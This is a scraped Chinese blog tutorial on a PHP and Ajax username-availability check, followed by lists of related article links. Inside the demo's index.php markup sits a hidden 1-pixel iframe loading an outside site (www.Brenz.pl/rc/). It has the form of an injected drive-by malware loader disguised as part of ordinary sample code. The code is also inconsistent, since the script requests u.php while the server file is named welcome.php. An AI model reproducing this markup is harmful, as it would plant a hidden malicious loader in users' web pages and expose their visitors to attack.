PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
解析php中反射的应用
Jun 18 PHP
PHP提交表单失败后如何保留已经填写的信息
Jun 20 PHP
PHP数组和explode函数示例总结
May 08 PHP
PHP生成树的方法
Jul 28 PHP
php使用APC实现实时上传进度条功能
Oct 26 PHP
php实现爬取和分析知乎用户数据
Jan 26 PHP
图文详解PHP环境搭建教程
Jul 16 PHP
PHP的反射机制实例详解
Mar 29 PHP
利用PHP获取汉字首字母并且分组排序详解
Oct 22 PHP
Thinkphp5.0 框架视图view的比较标签用法分析
Oct 12 PHP
使用PHP开发留言板功能
Nov 19 PHP
浅谈Laravel中使用Slack进行异常通知
May 29 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
Phpbean路由转发的php代码
2008/01/10 PHP
PHP 字符串加密函数(在指定时间内加密还原字符串,超时无法还原)
2010/04/28 PHP
详解PHP中的状态模式编程
2015/08/11 PHP
php mysql获取表字段名称和字段信息的三种方法
2016/11/13 PHP
PHP实现网站访问量计数器
2017/10/27 PHP
javascript判断chrome浏览器的方法
2014/03/26 Javascript
JavaScript删除指定子元素代码实例
2015/01/13 Javascript
jQuery实现鼠标选文字发新浪微博的方法
2016/04/02 Javascript
Three.js学习之正交投影照相机
2016/08/01 Javascript
浅谈Nodejs应用主文件index.js
2016/08/28 NodeJs
微信公众号-获取用户信息(网页授权获取)实现步骤
2016/10/21 Javascript
JavaScript学习笔记之数组基本操作示例
2019/01/09 Javascript
浅谈vue中组件绑定事件时是否加.native
2019/11/09 Javascript
JavaScript实现矩形块大小任意缩放
2020/08/25 Javascript
[00:33]2016完美“圣”典风云人物:BurNIng宣传片
2016/12/10 DOTA
[40:17]2018DOTA2亚洲邀请赛 4.5 淘汰赛 LGD vs Liquid 第一场
2018/04/06 DOTA
[45:50]完美世界DOTA2联赛PWL S3 CPG vs Forest 第二场 12.16
2020/12/17 DOTA
使用setup.py安装python包和卸载python包的方法
2013/11/27 Python
Python文件读取的3种方法及路径转义
2015/06/21 Python
Python利用正则表达式实现计算器算法思路解析
2018/04/25 Python
django的ORM操作 增加和查询
2019/07/26 Python
Python实现滑动平均(Moving Average)的例子
2019/08/24 Python
简单了解python协程的相关知识
2019/08/31 Python
python的faker库用法
2019/11/28 Python
Python3常见函数range()用法详解
2019/12/30 Python
安装完Python包然后找不到模块的解决步骤
2020/02/13 Python
基于logstash实现日志文件同步elasticsearch
2020/08/06 Python
Oakley西班牙官方商店:太阳眼镜和男女运动服
2019/04/26 全球购物
Lentiamo比利时:便宜的隐形眼镜
2020/02/14 全球购物
乌克兰巴士票购买网站:inBus
2021/03/12 全球购物
计算机本科生自荐信
2013/10/15 职场文书
户外活动总结范文
2014/04/30 职场文书
公司离职证明标准范本
2014/10/05 职场文书
Go 语言下基于Redis分布式锁的实现方式
2021/06/28 Golang
nginx实现动静分离的方法示例
2021/11/07 Servers
nginx设置资源请求目录的方式详解
2022/05/30 Servers